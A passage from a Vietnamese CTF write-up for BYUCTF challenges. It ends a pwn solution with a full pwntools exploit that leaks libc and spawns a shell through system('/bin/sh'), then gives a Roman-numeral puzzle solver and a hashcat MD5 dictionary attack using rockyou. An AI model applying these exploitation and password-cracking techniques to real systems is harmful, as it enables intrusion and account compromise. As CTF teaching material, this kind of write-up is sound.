- Vậy chúng ta đã hiểu cách hoạt động rồi nên chỉ wu đến đây thoi =)), các lần sau cũng tương tự như vậy thôi, có thể dùng one_gadget hoặc system chắc là đều được
##### Chú ý
- Chỗ này tại sao phải tách ra 2 part thì do 4 byte null nó ở trên, nên mới phải tách binsh ra 4byte và 2byte và gửi vào chứ không được `b"\0" * 4 + p64(binsh)` vì nó đã 12byte rồi
```python
binsh = next(libc.search(b'/bin/sh'))
part1 = (binsh & 0xffff)
part2 = binsh >> 16
sa(b"name: \n", b"\0" * 4 + p16(part1) + p32(part2))
```
- script:
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('frorg_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
# b*main+159
b*main+132
c
''')
input()
def info(msg): return log.info(msg)
def sla(msg, data): return p.sendlineafter(msg, data)
def sa(msg, data): return p.sendafter(msg, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)
if args.REMOTE:
p = remote('byuctf.xyz', 40015)
else:
p = process(exe.path)
GDB()
sla(b"store? \n", b"9")
for i in range(4):
sa(b"name: \n", b"a" * 10)
payload = p64(0x0461616161) + b"aa"
sa(b"name: \n", payload)
sa(b"name: \n", b"\0" * 6 + p32(0x4011e5))
sa(b"name: \n", b"\0" * 4 + p32(0x404000) + b"\0\0")
sa(b"name: \n", b"\0" * 2 + p64(exe.plt['puts']))
sa(b"name: \n", p64(0x4011ea))
p.recvuntil(b"Thank you!\n")
libc_leak = u64(p.recvline(keepends=False) + b"\0\0")
info("leak libc: " + hex(libc_leak))
libc.address = libc_leak - 510432
info("base libc: " + hex(libc.address))
sla(b"store? \n", b"9")
for i in range(4):
sa(b"name: \n", b"a" * 10)
payload = p64(0x0461616161) + b"\0\0"
sa(b"name: \n", payload)
sa(b"name: \n", b"\0" * 6 + p32(0x4011e5))
binsh = next(libc.search(b'/bin/sh'))
part1 = (binsh & 0xffff)
part2 = binsh >> 16
sa(b"name: \n", b"\0" * 4 + p16(part1) + p32(part2))
sa(b"name: \n", b"\0\0" + p64(0x000000000040101a))
sa(b"name: \n", p64(libc.sym['system']))
p.interactive()
```

---
## MISC
### xkcd 2637
- Ta thấy server gửi cho ta 500 phép tính, nhìn thì tưởng là cộng bình thường, nhưng khum, nó là như thế này:
- 101 + 1010101, tưởng là 1010202 nhưng mà khum phải, 101 --> XI (10 là X, 1 là I), và 1010101--> XXXI, và ta đổi 2 số này ra số thập phân là 11 và 31, cộng vào ra 42, và ta lại phải chuyển về số la mã là XLII, rùi ta lại phải chuyển thành `105011`, đó mới chính là đáp án đúng
- script:
```python
from pwn import *
io = remote('byuctf.xyz',40014)
def roman_to_int(s):
roman_numeral_map = {
'I': 1, 'IV': 4, 'V': 5, 'IX': 9, 'X': 10, 'XL': 40,
'L': 50, 'XC': 90, 'C': 100, 'CD': 400, 'D': 500,
'CM': 900, 'M': 1000
}
i, num = 0, 0
while i < len(s):
if i + 1 < len(s) and s[i:i+2] in roman_numeral_map:
num += roman_numeral_map[s[i:i+2]]
i += 2
else:
num += roman_numeral_map[s[i]]
i += 1
return num
# Chuyển đổi số thập phân thành số La Mã
def int_to_roman(num):
roman_numeral_map = {
1: 'I', 4: 'IV', 5: 'V', 9: 'IX', 10: 'X', 40: 'XL',
50: 'L', 90: 'XC', 100: 'C', 400: 'CD', 500: 'D',
900: 'CM', 1000: 'M'
}
result = ''
for value, numeral in sorted(roman_numeral_map.items(), reverse=True):
while num >= value:
result += numeral
num -= value
return result
def convert_numbers(string):
conversion_rules = {
"10": "X",
"1": "I",
"110": "IX",
"1": "I",
"5": "V",
"50": "L",
"100":"C",
"500":"D",
"1000":"M"
}
result = ""
i = 0
while i < len(string):
found = False
for rule in conversion_rules:
if string[i:].startswith(rule):
result += conversion_rules[rule]
i += len(rule)
found = True
break
if not found:
result += string[i]
i += 1
return result
def reverse_convert_numbers(string):
conversion_rules = {
"X": "10",
"I": "1",
"I": "1",
"IX": "110",
"V": "5",
"L": "50",
"C": "100",
"D": "500",
"M": "1000"
}
result = ""
i = 0
while i < len(string):
found = False
for rule in conversion_rules:
if string[i:].startswith(rule):
result += conversion_rules[rule]
i += len(rule)
found = True
break
if not found:
result += string[i]
i += 1
return result
io.recvuntil(b'flag!\n')
for i in range(500):
x = (io.recvuntil(b'= ',drop=True).decode())
lst = []
lst = x.split(' ')
send = ''
if lst[1] =='+':
a = convert_numbers(lst[0])
b = convert_numbers(lst[2])
num_a = roman_to_int(a)
num_b = roman_to_int(b)
x = num_a + num_b
lama = int_to_roman(x)
data = reverse_convert_numbers(lama)
a = (data.encode("ascii"))
io.sendline((a))
if lst[1] == '*':
a = convert_numbers(lst[0])
b = convert_numbers(lst[2])
num_a = roman_to_int(a)
num_b = roman_to_int(b)
x = num_a * num_b
lama = int_to_roman(x)
data = reverse_convert_numbers(lama)
a = (data.encode("ascii"))
io.sendline((a))
io.interactive()
```
> Flag: không nhớ flag vì server đóng rùi :(((
---
### Sanity Check
- Check discord là được à :-1:

> Flag: byuctf{yes_this_is_sanity_check_flag_race_for_who_gets_1st_blood}
---
### 006 I
- Ta sử dụng hashcat để tìm lại bản rõ của hash này
- Ta sử dụng command như sau:
```bash
hashcat -m 0 -a 0 -o cracked.txt 006_1.txt /usr/share/wordlists/rockyou.txt
```
- tức là tấn công theo mã MD5 dựa vào danh sách các mật khẩu ở file `rockyou.txt`

- Tiếp theo, để xuất hiện file `cracked.txt`, ta thêm `--show` ở sau command trên

- Vào file `cracked.txt` là thấy được flag thui :v:

> Flag:byuctf{brittishhottie}
---